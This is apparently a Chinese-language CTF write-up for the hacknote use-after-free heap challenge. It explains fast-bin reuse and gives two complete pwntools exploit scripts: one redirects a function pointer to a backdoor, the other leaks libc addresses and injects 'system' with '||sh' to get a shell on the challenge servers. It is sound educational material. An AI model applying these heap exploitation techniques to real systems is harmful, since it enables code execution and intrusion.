BUU && XCTF-hitcontraining_uaf-WP

Posted on Dec 4, 2020

这是我做的第一道堆题,总体来讲还是学到了点知识,事实证明堆管理还是要结合题目来学,光看确实是难以学会。

这道题在BUU和XCTF上面都有,有一定区别,但是总体是一样的。

这道题有一个magic函数,我们只要ret2text到这里就可以了。

程序大体就是一个笔记管理的选单式程序,其中为了储存笔记使用的malloc来维护。并且也提供了删除的方法,然鹅删除的时候没有置零,如下

又由于输出的时候是由我们自己来选定输出哪个笔记的,程序也没有对笔记是否被删除做检查,所以这里存在一个Use After Free的漏洞。所谓的UAF,有三种情况

  • 当指针被置为NULL的时候,UAF会造成程序崩溃
  • 当指针未被置零的时候,如果没有任何对这段内存空间的操作,程序极可能正常运行
  • 当指针未被置零的时候,如果有对这段内存空间的操作,那么就可能出现不可预知的问题。

我们进行利用的时候,往往是对这段内存空间进行特殊的布置,达到控制程序的目的。

对于这道题而言,由于我们已经有了一个magic,只要控制程序执行magic就可以了,如何做?

我们可以看到note的结构体中有一个函数指针,这个函数也很简单

那么我们就可以考虑直接把print_note_content这个函数指针指向的函数变成magic就行了。接下来我们就要利用堆的UAF了。

notelist是一个笔记数组,用来维护每一个笔记的首地址,8字节的空间前四个字节是函数指针,后四个字节指向note这个字符串,note这个字符串则是用再次malloc分配的内存储存的,在代码中就是v1[1]=malloc(size);这句。

然后我们来理一下ptmalloc的空闲内存维护策略。为了提高速度,用户通过free释放的内存不会直接返还给内核(如果释放就返还,那么通过brk()或sbrk()来向内核申请更多的系统调用就会大大增加,而系统调用是低效的)。所以ptmalloc就将返还的内存维护在了这四类bin(bin可以理解为垃圾桶,一个垃圾回收利用的中转站)中(这四类中会有更详细的划分,我现在猜应该会使用隔离链表来实现更高效的best fit以最小化碎片并加速)。

本题的主角是fast bin,但是我们还是先说其余三个,分别是unsorted bin,small bin和large bin,他们被维护在同一个数组里面。而fast bin则独立维护在一个单链表里面,fast bin存在的意义如同其字面意义一样,就是为了加速。对于别的空闲空间,在分配和释放的时候会进行分割和合并的操作,而这些操作非常影响运行效率,为了解决这个问题就有了fast bin用来存储一些特定的被释放的空间。

用以维护fast bin的数据结构是单链表,并且在重新分配上使用LIFO(后进先出)来提高局部性。用户申请空间的时候,如果空间大小小于fast bin的最大值,那么分配器就会先从fast bin中选取合适的bin来提供给用户。32位系统中默认支持的最大的数据空间(注意是数据空间的大小,也就是出去overhead的payload)大小是64字节,但是最大可以接受的大小是80个字节,而fast bin最多支持储存10个bin,从数据空间为 8 字节开始一直到 80 字节。暂时先说到这里,这些知识就可以解决这道题了,更具体的知识我会单开一篇来写,做完这道题对堆有了一个感性地理解之后会更容易理解更具体的东西。

我们注意到notelist这个二维指针数组每次malloc的空间是8个字节,显然在fast bin中。我们希望能够分配被一个fast bin给一个储存content的字符串,这样我们就可以通过read实现覆写了。所以我们先创建两个笔记,设置他们的大小为不为8的值,让他们不会成为未来的覆写字符串的best fit。然后删除这两个笔记,这时fast bin中就会有两个大小为8的bin,然后我们再申请一个笔记,设置这个笔记content的大小为8,那么这个content被分配的空间就是之前被删除的笔记的结构体的空间了。然后我们写入magic函数的地址然后选择输出这个被修改的note就可以实现ret2text了。注意由于fast bin的LIFO策略,应该选择先被删除的那个笔记。(以上的大小都指payload的大小)

所以就有EXP

BUU

from pwn import *                             
context(log_level = 'debug')                  
                                              
sh = process("./hacknote")                    
sh = remote("node3.buuoj.cn","29244")         
magic_addr = 0x8048945                        
                                              
sh.sendlineafter("choice :","1")              
sh.sendlineafter("Note size :","32")          
sh.sendlineafter("Content :","aaaa")          
                                              
sh.sendlineafter("choice :","1")              
sh.sendlineafter("Note size :","32")          
sh.sendlineafter("Content :","aaaa")          
                                              
sh.sendlineafter("choice :","2")              
sh.sendlineafter("Index :","0")               
sh.sendlineafter("choice :","2")              
sh.sendlineafter("Index :","1")               
                                              
sh.sendlineafter("choice :","1")              
sh.sendlineafter("Note size :","8")           
sh.sendlineafter("Content :",p32(magic_addr)) 
                                              
sh.sendlineafter("choice :","3")              
sh.sendlineafter("Index","0")                 
                                              
sh.interactive()                              

XCTF

由于XCTF上面的这道题删去了后门函数,所以需要我们自己来创造后门。题目给了libc,但是不知道为什么我这里用这个libc打不通,所以我就使用LibcSearcher来查找服务器的libc,注意我写的exp多泄露了一个got,因为一个puts的got表值就直接查到了对应的libc。同时由于我们在system函数后提供的直接是"sh"的地址,所以需要使用"||sh"来注入,这个时候执行的就是(system(p32(||sh)))||sh这个语句了,显然system无法执行,所以就会执行sh了。剩下的就是简单的ret2libc了。

from pwn import *                                             
from LibcSearcher import *                                    
context(log_level = 'debug')                                  
                                                              
#sh = process(["./hacknote"],env={"LD_PRELOAD":"./libc.so.6"})
#sh = process("./hacknote")                                   
sh = remote("220.249.52.133","39054")                         
elf =ELF("./hacknote")                                        
#sh = remote("node3.buuoj.cn","29244")                        
puts_plt = 0x0804862B                                         
puts_got = elf.got["puts"]                                    
read_got = elf.got["read"]                                    
execv_addr = 0x4526a                                          
                                                              
sh.sendlineafter("choice :","1")                              
sh.sendlineafter("Note size :","32")                          
sh.sendlineafter("Content :","")                              
                                                              
sh.sendlineafter("choice :","1")                              
sh.sendlineafter("Note size :","32")                          
sh.sendlineafter("Content :","")                              
                                                              
sh.sendlineafter("choice :","2")                              
sh.sendlineafter("Index :","0")                               
sh.sendlineafter("choice :","2")                              
sh.sendlineafter("Index :","1")                               
                                                              
sh.sendlineafter("choice :","1")                              
sh.sendlineafter("Note size :","8")                           
sh.sendlineafter("Content :",p32(puts_plt) + p32(puts_got))   
#bullshit start                                                              
sh.sendlineafter("choice :","3")                              
sh.sendlineafter("Index :","0")                               
puts_libc = u32(sh.recv(4))                                   
print hex(puts_libc)                                          
                                                              
sh.sendlineafter("choice :","2")                              
sh.sendlineafter("Index :","2")                               
                                                              
sh.sendlineafter("choice :","1")                              
sh.sendlineafter("Note size :","8")                           
sh.sendlineafter("Content :",p32(puts_plt) + p32(read_got))   
#bullshit end                                                              
sh.sendlineafter("choice :","3")                              
sh.sendlineafter("Index :","0")                               
read_libc = u32(sh.recv(4))                            
print hex(read_libc)                                   
                                                       
libc = LibcSearcher("puts",puts_libc)                  
libc_base = puts_libc - libc.dump("puts")              
system_addr = libc_base + libc.dump("system")          
                                                       
sh.sendlineafter("choice :","2")                       
sh.sendlineafter("Index :","2")                        
                                                       
sh.sendlineafter("choice :","1")                       
sh.sendlineafter("Note size :","8")                    
sh.sendlineafter("Content :",p32(system_addr) + "||sh")
                                                       
sh.sendlineafter("choice :","3")                       
sh.sendlineafter("Index :","0")                        
                                                       
sh.interactive()